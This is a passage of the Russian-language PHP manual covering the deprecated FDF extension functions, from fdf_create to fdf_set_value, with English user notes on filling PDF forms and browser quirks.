Функция не возвращает значения после выполнения.

Смотрите также

  • fdf_open() - Открывает документ FDF

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый документ FDF

  • « fdf_close
  • fdf_enum_values »
  • PHP Manual
  • FDF
  • Создаёт новый документ FDF

fdf_create

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_create — Создаёт новый документ FDF

Описание

fdf_create(): resource

Создаёт новый документ FDF.

Функция необходима, если нужно заполнить данными поля ввода в документе PDF.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает дескриптор документа FDF или false в случае возникновения ошибки.

Примеры

Пример #1 Заполнение PDF-документа

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

Смотрите также

  • fdf_close() - Закрывает FDF-документ
  • fdf_save() - Сохраняет документ FDF
  • fdf_open() - Открывает документ FDF

User Contributed Notes

jwadhwani at pobox dot com 06-Jun-2006 08:08
For fdf_save you need to provide the complete path, such as :fdf_save($outfdf,"c:/inetpub/wwwroot/temp_sites/fdf/outtest.fdf"); and not only outtest.fdf.
Punkisdead 04-Oct-2003 12:03
<?php
$outfdf = fdf_create();
$volume = "test";
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http://localhost/webapps/volume.pdf");
Header("Content-type: application/vnd.fdf");
fdf_save($outfdf);
fdf_close($outfdf);

?>

This works for IE 5.5+

It will populate the fields and open the resulting pdf for you, without having to create an fdf file and adding the open script to the pdf...
mlarke at nanuc dot ca 10-Aug-2003 05:14
Header("Content-type: application/vnd.fdf"); simply does not work in IE. The easiest method to automatically load the fdf file is to open the 'pdf' file via php. With use of Acrobat
document -> page action -> page open -> add -> javascript
and paste the following into the pdf file:

this.importAnFDF("my_fdf_file.fdf");

This will auto-load the fdf contents
Cheers Mike
Sergei 17-Mar-2003 11:43
I thought the following might save someone a lot of time. The example fdf snippet above, namely:

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

will not work (or there's at least a big possibility it won't) in IE (version 6 sure and I suspect lower versions as well) if you have session.auto_start on. Apparently, setting a cookie before feeding the fdf to the browser somehow messes it up. It works fine in Netscape though. I spent days on Google before I found a post somewhere about someone else having the same problem.

The solution? Well, I created a separate directory in the web tree and turned session.auto_start off just for that directory like this:

<Location /new_directory>
    php_admin_flag session.auto_start 0
</Location>

Hope this was useful to somebody.


Вызывает пользовательскую функцию для каждого значения документа

  • « fdf_create
  • fdf_errno »
  • PHP Manual
  • FDF
  • Вызывает пользовательскую функцию для каждого значения документа

fdf_enum_values

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_enum_values — Вызывает пользовательскую функцию для каждого значения документа

Описание

fdf_enum_values(resource $fdf_document, callable $function, mixed $userdata = ?): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

ceo at l-i-e dot com 10-Jul-2003 11:13
If you need something like this in a pre 4.3 version, here is a rough hack I was working on before I realized I didn't need this after all.

        preg_match('/Fields\[(.*)\]/', $raw_pdf, $field_data);
        echo "Fields: ", htmlentities($field_data[1]), "<HR>\n";
        $field_data = $field_data[1];
        $key_value = explode(">><<", $field_data);
        $key_value[0] = substr($key_value[0], 2);
        $key_value[count($key_value) - 1] = substr($key_value[count($key_value) - 1], 0, -2);
        while (list(, $kv) = each($key_value)){
                list($key, $value) = explode("/V", $kv);
                $key = substr($key, 2);
                if ($key[0] == '('){
                        $key = substr($key, 1, -1);
                }
                if ($value[0] == '/'){
                        $value = substr($value, 1);
                }
                if ($value[0] == '('){
                        $value = substr($value, 1, -1);
                }
                echo "Key: $key Value: $value<BR>\n";
        }

The $raw_pdf can either be the $HTTP_RAW_POST_DATA before you write a submitted PDF, or it can just be the raw PDF data you would read from a PDF using, say:
$raw_pdf = implode("", file("/path/to/your/fdf/whatever.pdf"));

You'll probably need to tweak this to do something more interesting than just printing the stuff.

Hmmmm.  Think they'll throw me in jail for this post?  Oh well.


Возвращает код ошибки для последней операции FDF

  • « fdf_enum_values
  • fdf_error »
  • PHP Manual
  • FDF
  • Возвращает код ошибки для последней операции FDF

fdf_errno

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_errno — Возвращает код ошибки для последней операции FDF

Описание

fdf_errno(): int

Получает код ошибки, установленный последним вызовом функции FDF.

Текстовое описание ошибки можно получить с помощью fdf_error().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код ошибки как целое число или ноль, если ошибок не было.

Смотрите также

  • fdf_error() - Возвращает описание ошибки для кода ошибки FDF

User Contributed Notes

There are no user contributed notes for this page.


Возвращает описание ошибки для кода ошибки FDF

  • « fdf_errno
  • fdf_get_ap »
  • PHP Manual
  • FDF
  • Возвращает описание ошибки для кода ошибки FDF

fdf_error

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_error — Возвращает описание ошибки для кода ошибки FDF

Описание

fdf_error(int $error_code = -1): string

Получает текстовое описание кода ошибки FDF, указанного в error_code.

Список параметров

error_code

Код ошибки, полученный с помощью fdf_errno(). Если не указано, функция использует код внутренней ошибки, установленный последней операцией.

Возвращаемые значения

Возвращает сообщение об ошибке в виде строки или строки no error, если ошибки нет.

Смотрите также

  • fdf_errno() - Возвращает код ошибки для последней операции FDF

User Contributed Notes

There are no user contributed notes for this page.


Получает вид поля

  • « fdf_error
  • fdf_get_attachment »
  • PHP Manual
  • FDF
  • Получает вид поля

fdf_get_ap

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_ap — Получает вид поля

Описание

fdf_get_ap(
resource $fdf_document,
string $field,
int $face,
string $filename
): bool

Получает вид field (т.е. значение ключа /AP) и сохраняет его в файле.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() или fdf_open_string().

field

face

Возможные значения: FDFNormalAP, FDFRolloverAP и FDFDownAP.

filename

Внешний вид будет сохранён в этом параметре.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает загруженный файл, встроенный в FDF

  • « fdf_get_ap
  • fdf_get_encoding »
  • PHP Manual
  • FDF
  • Извлекает загруженный файл, встроенный в FDF

fdf_get_attachment

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_attachment — Извлекает загруженный файл, встроенный в FDF

Описание

fdf_get_attachment(resource $fdf_document, string $fieldname, string $savepath): array

Извлекает файл, загруженный с помощью поля "выбор файла" fieldname, и сохраняет его в savepath.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() или fdf_open_string().

fieldname

savepath

Может быть, это имя простого файла или существующего каталога, в котором файл должен быть создан под его исходным именем. Любой существующий файл с таким же именем будет перезаписан.

Замечание:

Кажется, нет другого способа узнать исходное имя файла, кроме как сохранить файл, используя каталог как savepath и проверить базовое имя, под которым он был сохранён.

Возвращаемые значения

Возвращённый массив содержит следующие поля:

  • path - путь, где хранится файл
  • size - размер сохраняемого файла в байтах
  • type - mimetype, если он указан в FDF

Примеры

Пример #1 Сохранение загруженного файла

<?php
$fdf = fdf_open_string($HTTP_FDF_DATA);
$data = fdf_get_attachment($fdf, "filename", "/tmpdir");
echo "Загруженный файл хранится в $data[path]";
?>

User Contributed Notes

There are no user contributed notes for this page.


Получает значение ключа /Encoding

  • « fdf_get_attachment
  • fdf_get_file »
  • PHP Manual
  • FDF
  • Получает значение ключа /Encoding

fdf_get_encoding

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_encoding — Получает значение ключа /Encoding

Описание

fdf_get_encoding(resource $fdf_document): string

Получает значение ключа /Encoding.

Список параметров

fdf_document

Дескриптор FDF-документа, возвращённый функциями fdf_create(), fdf_open() или fdf_open_string().

Возвращаемые значения

Возвращает кодировку в виде строки. Возвращается пустая строка, если используется схема по умолчанию PDFDocEncoding/Unicode.

Смотрите также

  • fdf_set_encoding() - Устанавливает кодировку символов FDF

User Contributed Notes

There are no user contributed notes for this page.


Получает значение ключа /F

  • « fdf_get_encoding
  • fdf_get_flags »
  • PHP Manual
  • FDF
  • Получает значение ключа /F

fdf_get_file

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_file — Получает значение ключа /F

Описание

fdf_get_file(resource $fdf_document): string

Получает значение ключа /F.

Список параметров

fdf_document

Дескриптор FDF-документа, возвращённый функциями fdf_create(), fdf_open() или fdf_open_string().

Возвращаемые значения

Возвращает значение ключа в виде строки.

Смотрите также

  • fdf_set_file() - Устанавливает PDF-документ для отображения данных FDF

User Contributed Notes

There are no user contributed notes for this page.


Получает флаги поля

  • « fdf_get_file
  • fdf_get_opt »
  • PHP Manual
  • FDF
  • Получает флаги поля

fdf_get_flags

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_flags — Получает флаги поля

Описание

fdf_get_flags(resource $fdf_document, string $fieldname, int $whichflags): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Получает значение из массива opt поля

  • « fdf_get_flags
  • fdf_get_status »
  • PHP Manual
  • FDF
  • Получает значение из массива opt поля

fdf_get_opt

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECLv)

fdf_get_opt — Получает значение из массива opt поля

Описание

fdf_get_opt(resource $fdf_document, string $fieldname, int $element = -1): mixed
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Получает значение ключа /STATUS

  • « fdf_get_opt
  • fdf_get_value »
  • PHP Manual
  • FDF
  • Получает значение ключа /STATUS

fdf_get_status

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_status — Получает значение ключа /STATUS

Описание

fdf_get_status(resource $fdf_document): string

Получает значение ключа /STATUS.

Список параметров

fdf_document

Дескриптор FDF-документа, возвращённый функциями fdf_create(), fdf_open() или fdf_open_string().

Возвращаемые значения

Возвращает значение ключа в виде строки.

Смотрите также

  • fdf_set_status() - Устанавливает значение ключа /STATUS

User Contributed Notes

There are no user contributed notes for this page.


Получает значение поля

  • « fdf_get_status
  • fdf_get_version »
  • PHP Manual
  • FDF
  • Получает значение поля

fdf_get_value

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_value — Получает значение поля

Описание

fdf_get_value(resource $fdf_document, string $fieldname, int $which = -1): mixed

Получает значение для запрошенного поля.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() или fdf_open_string().

fieldname

Имя поля FDF в виде строки.

which

Элементы поля массива можно получить, передав этот необязательный параметр, начиная с нуля. Для полей без массива этот параметр будет проигнорирован.

Возвращаемые значения

Возвращает значение поля.

Список изменений

Версия | Описание
4.3.0 | Добавлена поддержка массивов и параметра which.

Смотрите также

  • fdf_set_value() - Устанавливает значение поля

User Contributed Notes

mclinden at informed dot net 17-Sep-2002 02:35
(i filed a bug report/feature request for this on bugs.php.net and assigned it to myself hartmut@php.net)

The default behavior for the FDF Toolkit is to return an FDFErcNoValue for the FDFGetValue when the field exists but has no value.

Whether or not this is truly an error is debateable. It seems to become an issue in documents created by Acrobat 5 when optional fields are included in a form with required fields since the default behavior seems to be to populate the HTTP_FDF_DATA with the results of the FDFNextFieldName enumerator, which would include the fields which have no value.

This would not be a problem except that the PHP function fdf_get_value() does not specifically test for the FDFErcNoValue condition but, instead, tests for the more general FDFErcOK. If this value is not the result of the error code, the system issues warnings (the display of which could be turned off), but the broader question is, should this be a warning condition at all?

Put another way, should a return of FDFErcNoValue for FDFGetValue be considered an event worth generating a warning?


Получает номер версии для FDF API или файла

  • « fdf_get_value
  • fdf_header »
  • PHP Manual
  • FDF
  • Получает номер версии для FDF API или файла

fdf_get_version

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_version — Получает номер версии для FDF API или файла

Описание

fdf_get_version(resource $fdf_document = ?): string

Возвращает версию FDF для данного документа или номер версии API набора инструментов, если параметр не указан.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() или fdf_open_string().

Возвращаемые значения

Возвращает версию в виде строки. Для текущего набора инструментов FDF 5.0 номер версии API - 5.0, а номер версии документа - 1.2, 1.3 или 1.4.

Смотрите также

  • fdf_set_version() - Устанавливает номер версии для файла FDF

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает специфичные для FDF выходные заголовки

  • « fdf_get_version
  • fdf_next_field_name »
  • PHP Manual
  • FDF
  • Устанавливает специфичные для FDF выходные заголовки

fdf_header

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVNf)

fdf_header — Устанавливает специфичные для FDF выходные заголовки

Описание

fdf_header(): void

Это удобная функция для установки соответствующих HTTP-заголовков для вывода FDF. Она устанавливает для Content-type: значение application/vnd.fdf.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получает имя следующего поля

  • « fdf_header
  • fdf_open_string »
  • PHP Manual
  • FDF
  • Получает имя следующего поля

fdf_next_field_name

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_next_field_name — Получает имя следующего поля

Описание

fdf_next_field_name(resource $fdf_document, string $fieldname = ?): string

Получает имя поля после заданного поля. Это имя можно использовать несколькими функциями.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() или fdf_open_string().

fieldname

Имя поля FDF в виде строки. Если не указано, будет использоваться первое поле.

Возвращаемые значения

Возвращает имя поля в виде строки.

Примеры

Пример #1 Обнаружение всех имён полей в FDF

<?php
$fdf = fdf_open($HTTP_FDF_DATA);
for ($field = fdf_next_field_name($fdf);
$field != "";
$field = fdf_next_field_name($fdf, $field)) {
echo "Поле: $field\n";
}
?>

Смотрите также

  • fdf_get_value() - Получает значение поля

User Contributed Notes

There are no user contributed notes for this page.


Читает FDF документ из строки

  • « fdf_next_field_name
  • fdf_open »
  • PHP Manual
  • FDF
  • Читает FDF документ из строки

fdf_open_string

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_open_string — Читает FDF документ из строки

Описание

fdf_open_string(string $fdf_data): resource

Считывает данные формы из строки.

Вы можете использовать fdf_open_string() вместе с $HTTP_FDF_DATA для обработки ввода FDF формы от удалённого клиента.

Список параметров

fdf_data

Данные, возвращённые из PDF формы или созданные с помощью fdf_create() и fdf_save_string().

Возвращаемые значения

Возвращает дескриптор FDF документа или false в случае возникновения ошибки.

Примеры

Пример #1 Доступ к данным формы

<?php
$fdf = fdf_open_string($HTTP_FDF_DATA);
/* ... */
fdf_close($fdf);
?>

Смотрите также

  • fdf_open() - Открывает документ FDF
  • fdf_close() - Закрывает FDF-документ
  • fdf_create() - Создаёт новый документ FDF
  • fdf_save_string() - Возвращает документ FDF в виде строки

User Contributed Notes

There are no user contributed notes for this page.


Открывает документ FDF

  • « fdf_open_string
  • fdf_remove_item »
  • PHP Manual
  • FDF
  • Открывает документ FDF

fdf_open

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_open — Открывает документ FDF

Описание

fdf_open(string $filename): resource

Открывает файл с данными формы.

Вы также можете использовать fdf_open_string() для обработки результатов POST-запроса PDF-формы.

Список параметров

filename

Путь к файлу FDF. Файл должен содержать данные, возвращённые из PDF формы или созданные с помощью fdf_create() и fdf_save().

Возвращаемые значения

Возвращает дескриптор документа FDF или false в случае возникновения ошибки.

Примеры

Пример #1 Доступ к данным формы

<?php
// Сохранение данных FDF во временный файл
$fdffp = fopen("test.fdf", "w");
fwrite($fdffp, $HTTP_FDF_DATA, strlen($HTTP_FDF_DATA));
fclose($fdffp);

// Открытие временного файла и получение данных
$fdf = fdf_open("test.fdf");
/* ... */
fdf_close($fdf);
?>

Смотрите также

  • fdf_open_string() - Читает FDF документ из строки
  • fdf_close() - Закрывает FDF-документ
  • fdf_create() - Создаёт новый документ FDF
  • fdf_save() - Сохраняет документ FDF

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает целевой фрейм для формы

  • « fdf_open
  • fdf_save_string »
  • PHP Manual
  • FDF
  • Устанавливает целевой фрейм для формы

fdf_remove_item

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_remove_item — Устанавливает целевой фрейм для формы

Описание

fdf_remove_item(resource $fdf_document, string $fieldname, int $item): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает документ FDF в виде строки

  • « fdf_remove_item
  • fdf_save »
  • PHP Manual
  • FDF
  • Возвращает документ FDF в виде строки

fdf_save_string

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_save_string — Возвращает документ FDF в виде строки

Описание

fdf_save_string(resource $fdf_document): string

Возвращает документ FDF в виде строки.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

Возвращаемые значения

Возвращает документ в виде строки или false в случае возникновения ошибки.

Примеры

Пример #1 Получение FDF в виде строки

<?php
$fdf = fdf_create();
fdf_set_value($fdf, "foo", "bar");
$str = fdf_save_string($fdf);
fdf_close($fdf);
echo $str;
?>

Результат выполнения данного примера:

%FDF-1.2
%aaIO
1 0 obj
<<
/FDF << /Fields 2 0 R >>
>>
endobj
2 0 obj
[
<< /T (foo)/V (bar)>>
]
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

Смотрите также

  • fdf_open_string() - Читает FDF документ из строки
  • fdf_close() - Закрывает FDF-документ
  • fdf_create() - Создаёт новый документ FDF
  • fdf_save() - Сохраняет документ FDF

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет документ FDF

  • « fdf_save_string
  • fdf_set_ap »
  • PHP Manual
  • FDF
  • Сохраняет документ FDF

fdf_save

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_save — Сохраняет документ FDF

Описание

fdf_save(resource $fdf_document, string $filename = ?): bool

Сохраняет документ FDF.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

filename

Если указано, FDF будет записан в этот параметр. В противном случае функция запишет FDF в выходной поток PHP по умолчанию.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fdf_close() - Закрывает FDF-документ
  • fdf_create() - Создаёт новый документ FDF
  • fdf_save_string() - Возвращает документ FDF в виде строки

User Contributed Notes

karsten at k-fish dot de 11-Apr-2003 10:18
The doc says that an empty file name will cause PHP to output the FDF to 'stdout'. I had no success on this (with PHP 4.2.3 and fdftk v5): no string, an empty string and null all returned a message complaining about 'wrong parameter count'.

So I used the way (saving to a file and using passthru) given as an example on the page describing fdf_create(), and added a uniqid(rand(),1) to the filename to avoid clashes. This worked well.


Устанавливает внешний вид поля

  • « fdf_save
  • fdf_set_encoding »
  • PHP Manual
  • FDF
  • Устанавливает внешний вид поля

fdf_set_ap

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_ap — Устанавливает внешний вид поля

Описание

fdf_set_ap(
resource $fdf_document,
string $field_name,
int $face,
string $filename,
int $page_number
): bool

Устанавливает внешний вид поля (т.е. значение ключа /AP).

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

field_name

face

Допустимые значения: FDFNormalAP, FDFRolloverAP и FDFDownAP.

filename

page_number

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает кодировку символов FDF

  • « fdf_set_ap
  • fdf_set_file »
  • PHP Manual
  • FDF
  • Устанавливает кодировку символов FDF

fdf_set_encoding

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_encoding — Устанавливает кодировку символов FDF

Описание

fdf_set_encoding(resource $fdf_document, string $encoding): bool

Устанавливает кодировку символов для документа FDF.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

encoding

Название кодировки. Поддерживаются следующие значения: "Shift-JIS", "UHC", "GBK" и "BigFive".

Пустая строка сбрасывает кодировку по умолчанию в схему PDFDocEncoding/Unicode.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает PDF-документ для отображения данных FDF

  • « fdf_set_encoding
  • fdf_set_flags »
  • PHP Manual
  • FDF
  • Устанавливает PDF-документ для отображения данных FDF

fdf_set_file

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_file — Устанавливает PDF-документ для отображения данных FDF

Описание

fdf_set_file(resource $fdf_document, string $url, string $target_frame = ?): bool

Выбирает другой документ PDF для отображения результатов формы в той форме, из которой он был создан.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

url

Должен быть указан абсолютный URL.

target_frame

Используйте этот параметр, чтобы указать фрейм, в котором будет отображаться документ. Вы также можете установить значение по умолчанию для этого параметра с помощью fdf_set_target_frame().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Передача данных FDF во вторую форму

<?php
/* Установка типа содержимого для Adobe FDF */
fdf_header();

/* Создание нового fdf */
$fdf = fdf_create();

/* Установка значения "bar" в поле "foo" */
fdf_set_value($fdf, "foo", "bar");

/* сообщение клиенту, что нужно отображать данные FDF, используя "fdf_form.pdf" */
fdf_set_file($fdf, "http://www.example.com/fdf_form.pdf");

/* вывод fdf */
fdf_save($fdf);

/* закрытие */
fdf_close($fdf);
?>

Смотрите также

  • fdf_get_file() - Получает значение ключа /F
  • fdf_set_target_frame() - Устанавливает целевой фрейм для отображения формы

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает флаг поля

  • « fdf_set_file
  • fdf_set_javascript_action »
  • PHP Manual
  • FDF
  • Устанавливает флаг поля

fdf_set_flags

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_flags — Устанавливает флаг поля

Описание

fdf_set_flags(
resource $fdf_document,
string $fieldname,
int $whichFlags,
int $newFlags
): bool

Устанавливает определённые флаги данного поля.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

fieldname

Имя поля FDF в виде строки.

whichFlags

newFlags

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fdf_set_opt() - Устанавливает параметры поля

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает действие javascript для поля

  • « fdf_set_flags
  • fdf_set_on_import_javascript »
  • PHP Manual
  • FDF
  • Устанавливает действие javascript для поля

fdf_set_javascript_action

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_javascript_action — Устанавливает действие javascript для поля

Описание

fdf_set_javascript_action(
resource $fdf_document,
string $fieldname,
int $trigger,
string $script
): bool

Устанавливает действие javascript для заданного поля

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

fieldname

Имя поля FDF в виде строки.

trigger

script

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fdf_set_submit_form_action() - Устанавливает действие формы отправки поля

User Contributed Notes

There are no user contributed notes for this page.


Добавляет код JavaScript, который будет выполняться, когда Acrobat открывает FDF

  • « fdf_set_javascript_action
  • fdf_set_opt »
  • PHP Manual
  • FDF
  • Добавляет код JavaScript, который будет выполняться, когда Acrobat открывает FDF

fdf_set_on_import_javascript

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_on_import_javascript — Добавляет код JavaScript, который будет выполняться, когда Acrobat открывает FDF

Описание

fdf_set_on_import_javascript(resource $fdf_document, string $script, bool $before_data_import): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Смотрите также

  • fdf_add_doc_javascript() - Добавляет код javascript в документ FDF
  • fdf_set_javascript_action() - Устанавливает действие javascript для поля

User Contributed Notes

Jake Marble 17-Jul-2007 10:20
This example would cause a browser to open 'a.pdf' and pop up an alert window AFTER setting a field value:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', false);

fdf_save($fdf);
fdf_close($fdf);
?>

Or, to execute the javascript BEFORE setting the field value, just change false to true:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', true);

fdf_save($fdf);
fdf_close($fdf);
?>


Устанавливает параметры поля

  • « fdf_set_on_import_javascript
  • fdf_set_status »
  • PHP Manual
  • FDF
  • Устанавливает параметры поля

fdf_set_opt

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_opt — Устанавливает параметры поля

Описание

fdf_set_opt(
resource $fdf_document,
string $fieldname,
int $element,
string $str1,
string $str2
): bool

Устанавливает параметры заданного поля.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

fieldname

Имя поля FDF в виде строки.

element

str1

str2

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fdf_set_flags() - Устанавливает флаг поля

User Contributed Notes

ceo at l-i-e dot com 28-Jul-2003 05:01
For a nice example of how this works to populate a list box dynamically, see this URL:

http://www.fooassociates.com/phpfer/html/rn20re282.html


Устанавливает значение ключа /STATUS

  • « fdf_set_opt
  • fdf_set_submit_form_action »
  • PHP Manual
  • FDF
  • Устанавливает значение ключа /STATUS

fdf_set_status

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_status — Устанавливает значение ключа /STATUS

Описание

fdf_set_status(resource $fdf_document, string $status): bool

Устанавливает значение ключа /STATUS. Когда клиент получает FDF с установленным статусом, он представляет значение в окне предупреждения.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

status

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fdf_get_status() - Получает значение ключа /STATUS

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает действие формы отправки поля

  • « fdf_set_status
  • fdf_set_target_frame »
  • PHP Manual
  • FDF
  • Устанавливает действие формы отправки поля

fdf_set_submit_form_action

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_submit_form_action — Устанавливает действие формы отправки поля

Описание

fdf_set_submit_form_action(
resource $fdf_document,
string $fieldname,
int $trigger,
string $script,
int $flags
): bool

Устанавливает действие формы отправки для заданного поля.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() или fdf_open_string().

fieldname

Имя поля FDF в виде строки.

trigger

script

flags

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fdf_set_javascript_action() - Устанавливает действие javascript для поля

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает целевой фрейм для отображения формы

  • « fdf_set_submit_form_action
  • fdf_set_value »
  • PHP Manual
  • FDF
  • Устанавливает целевой фрейм для отображения формы

fdf_set_target_frame

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_target_frame — Устанавливает целевой фрейм для отображения формы

Описание

fdf_set_target_frame(resource $fdf_document, string $frame_name): bool

Устанавливает целевой фрейм для отображения PDF-файла, определённого с помощью fdf_save_file().

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() или fdf_open_string().

frame_name

Имя фрейма в виде строки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fdf_save_file()

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение поля

  • « fdf_set_target_frame
  • fdf_set_version »
  • PHP Manual
  • FDF
  • Устанавливает значение поля

fdf_set_value

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_value — Устанавливает значение поля

Описание

fdf_set_value(
resource $fdf_document,
string $fieldname,
mixed $value,
int $isName = ?
): bool

Устанавливает value для заданного поля.

Список параметров

fdf_document

Дескриптор документа FDF, возвращаемый fdf_create(), fdf_open() or fdf_open_string().

fieldname

Имя поля FDF в виде строки.

value

Этот параметр будет храниться в виде строки, если он не является массивом. В этом случае все элементы массива будут сохранены как массив значений.

isName

Замечание:

В более старых версиях набора инструментов FDF последний параметр определял, должно ли значение поля быть преобразовано в PDF Name (= 1) или установлено PDF String (= 0).
